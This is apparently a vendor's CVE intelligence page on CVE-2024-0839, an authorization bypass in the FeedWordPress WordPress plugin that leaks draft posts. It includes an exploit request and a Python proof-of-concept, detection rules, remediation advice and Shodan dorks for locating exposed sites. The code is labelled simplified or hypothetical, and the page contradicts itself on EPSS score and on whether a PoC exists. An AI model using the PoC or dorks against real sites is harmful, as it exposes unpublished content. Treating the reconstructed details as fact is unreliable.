☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0839

CVE-2024-0839 Insecure Direct Object Reference in Feedwordpress
📅 PUBLISHED: 2024-03-13 15:26 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0839 is an Insecure Direct Object Reference (IDOR) vulnerability in the FeedWordPress plugin for WordPress, affecting all versions up to and including 2022.0222. The vulnerability resides in the plugin’s handling of the guid key, which is user-controlled and lacks proper validation. This allows unauthenticated attackers to access draft posts that may contain sensitive information, such as unpublished content, internal notes, or credentials. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, due to the potential for sensitive data exposure, immediate remediation is recommended.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the FeedWordPress plugin within the WordPress ecosystem. It is not related to Apache, Nginx, or any other web server software. The plugin is used to syndicate content from external RSS feeds into WordPress posts, and the flaw allows unauthorized viewing of draft posts.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: None
  • Availability Impact: None

The threat level is considered Medium due to the low complexity and lack of authentication required, but the impact is limited to confidentiality of draft posts.

Deep Dive & Mechanics

The FeedWordPress plugin uses a guid parameter to identify and retrieve syndicated posts. In vulnerable versions, the plugin does not validate whether the user has permission to view the post associated with the provided guid. An unauthenticated attacker can craft a request with a guid value corresponding to a draft post, and the plugin will return the post content without proper authorization checks.

The vulnerability is classified as CWE-639 (Authorization Bypass Through User-Controlled Key). The guid key is typically a unique identifier for each syndicated item, but the plugin fails to enforce access controls when retrieving posts by this key.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In feedwordpress.php or similar
function get_post_by_guid($guid) {
    global $wpdb;
    $post_id = $wpdb->get_var($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE guid = %s", $guid));
    if ($post_id) {
        $post = get_post($post_id);
        return $post;
    }
    return null;
}

The above code does not check if the post is published or if the user has permission to view it.

Patched Code (hypothetical):

function get_post_by_guid($guid) {
    global $wpdb;
    $post_id = $wpdb->get_var($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE guid = %s AND post_status = 'publish'", $guid));
    if ($post_id) {
        $post = get_post($post_id);
        return $post;
    }
    return null;
}

The patched version adds a check for post_status = 'publish' to ensure only published posts are accessible.

Exploitation & Lab Setup

Red Team (Exploitation)

To exploit this vulnerability, an attacker can send a GET request to the WordPress site with a crafted guid parameter. For example:

GET /?feedwordpress&guid=draft-post-guid HTTP/1.1
Host: target-wordpress-site.com

The attacker would need to guess or enumerate valid guid values for draft posts. This can be done by analyzing the plugin’s behavior or using common patterns.

Proof of Concept (Python):

import requests

target = "http://target-wordpress-site.com"
guid = "some-draft-post-guid"  # Replace with actual GUID

url = f"{target}/?feedwordpress&guid={guid}"
response = requests.get(url)

if response.status_code == 200 and "draft" in response.text.lower():
    print("Vulnerable! Draft post content exposed.")
    print(response.text)
else:
    print("Not vulnerable or GUID not found.")

Blue Team (Detection & Defense)

  • Monitor for unusual requests to /?feedwordpress&guid= with non-standard GUIDs.
  • Implement Web Application Firewall (WAF) rules to block requests with suspicious guid parameters.
  • Ensure that draft posts are not accessible via direct GUID enumeration by applying proper access controls.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /?feedwordpress&guid= with GUIDs that do not correspond to published posts.
    • Repeated 200 responses for draft post content from unauthenticated users.
  • File IOCs:

    • Log entries showing access to /?feedwordpress&guid= from IPs not associated with authenticated users.
  • Behavioral IOCs:

    • Unusual spikes in requests to the FeedWordPress endpoint.
    • Access to draft posts that were never published.

Detection Engineering

YARA Rule

rule CVE_2024_0839_FeedWordPress_IDOR {
    meta:
        description = "Detects exploitation attempts for CVE-2024-0839 in FeedWordPress plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0839"
    strings:
        $guid_param = "guid="
        $feedwordpress = "feedwordpress"
    condition:
        $guid_param and $feedwordpress
}

Sigma Rule

title: FeedWordPress IDOR Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-0839 by accessing draft posts via GUID
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "feedwordpress&guid="
    condition: selection
falsepositives:
    - Legitimate use of FeedWordPress with published posts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0839 FeedWordPress IDOR Attempt"; flow:to_server; content:"feedwordpress"; http_uri; content:"guid="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the FeedWordPress plugin until a patch is available.
  2. Workaround: Implement a custom filter to validate the guid parameter and restrict access to published posts only.
  3. Long-term: Monitor the plugin’s repository for an official patch and apply it as soon as it is released.
  4. Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
  5. Hardening: Ensure that WordPress user roles and capabilities are properly configured to limit access to draft posts.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"FeedWordPress"
http.html:"wp-content/plugins/feedwordpress"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0839/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.